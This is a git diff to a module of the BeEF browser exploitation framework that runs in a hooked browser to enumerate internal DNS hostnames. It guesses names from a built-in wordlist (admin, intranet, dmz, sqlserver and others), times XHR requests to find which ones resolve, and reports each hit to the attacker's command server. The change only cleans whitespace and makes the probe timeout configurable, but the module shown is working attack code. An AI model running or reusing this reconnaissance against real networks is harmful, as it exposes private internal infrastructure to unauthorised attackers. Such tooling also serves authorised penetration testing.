diff --git a/modules/network/dns_enumeration/command.js b/modules/network/dns_enumeration/command.js
index cd7397570..172a34c2d 100644
--- a/modules/network/dns_enumeration/command.js
+++ b/modules/network/dns_enumeration/command.js
@@ -9,26 +9,26 @@ beef.execute(function() {
     var dns_list = "<%= @dns_list %>";
     var timeout = parseInt("<%= @timeout %>");
 
-    var cont=0; 
+    var cont=0;
     var port = 900;
     var protocol="http://";
     var hostnames;
 
     if(dns_list!="%default%") {
-        hostnames = dns_list.split(","); 
+        hostnames = dns_list.split(",");
     } else {
         hostnames = new Array("abc", "about", "accounts", "admin", "administrador", "administrator", "ads", "adserver", "adsl", "agent", "blog", "channel", "client", "dev", "dev1", "dev2", "dev3", "dev4", "dev5", "dmz", "dns", "dns0", "dns1", "dns2", "dns3", "extern", "extranet", "file", "forum", "forums", "ftp", "ftpserver", "host", "http", "https", "ida", "ids", "imail", "imap", "imap3", "imap4", "install", "intern", "internal", "intranet", "irc", "linux", "log", "mail", "map", "member", "members", "name", "nc", "ns", "ntp", "ntserver", "office", "owa", "phone", "pop", "ppp1", "ppp10", "ppp11", "ppp12", "ppp13", "ppp14", "ppp15", "ppp16", "ppp17", "ppp18", "ppp19", "ppp2", "ppp20", "ppp21", "ppp3", "ppp4", "ppp5", "ppp6", "ppp7", "ppp8", "ppp9", "pptp", "print", "printer", "project", "pub", "public", "preprod", "root", "route", "router", "server", "smtp", "sql", "sqlserver", "ssh", "telnet", "time", "voip", "w", "webaccess", "webadmin", "webmail", "webserver", "website", "win", "windows", "ww", "www", "wwww", "xml");
     }
-    
+
     function notify() {
         beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Internal DNS found: '+ hostnames[cont]);
         check_next();
     }
-    
-    function check_next() { 
+
+    function check_next() {
         cont++;
-        if(cont<hostnames.length) do_resolv(protocol + hostnames[cont] + ":" + port); 
-        else setTimeout(function(){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=DNS Enumeration done') }, 1000); 
+        if(cont<hostnames.length) do_resolv(protocol + hostnames[cont] + ":" + port);
+        else setTimeout(function(){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=DNS Enumeration done') }, 1000);
     }
 
     function do_resolv(url) {
@@ -42,15 +42,15 @@ beef.execute(function() {
         } else {
             return -1;
         }
-        
+
         xhr.onreadystatechange= function(e) { if(xhr.readyState==4) { clearTimeout(p); check_next(); } };
         xhr.send();
-        var p = setTimeout(function() { xhr.onreadystatechange = function(evt) {}; notify(); }, 4000);
+        var p = setTimeout(function() { xhr.onreadystatechange = function(evt) {}; notify(); }, timeout);
     }
 
     beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Starting DNS enumeration: '+ hostnames.length + ' hostnames loaded');
     if(do_resolv(protocol + hostnames[0] + ":" + port)==-1) {
-        beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser not supported'); 
+        beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser not supported');
     }
 
 });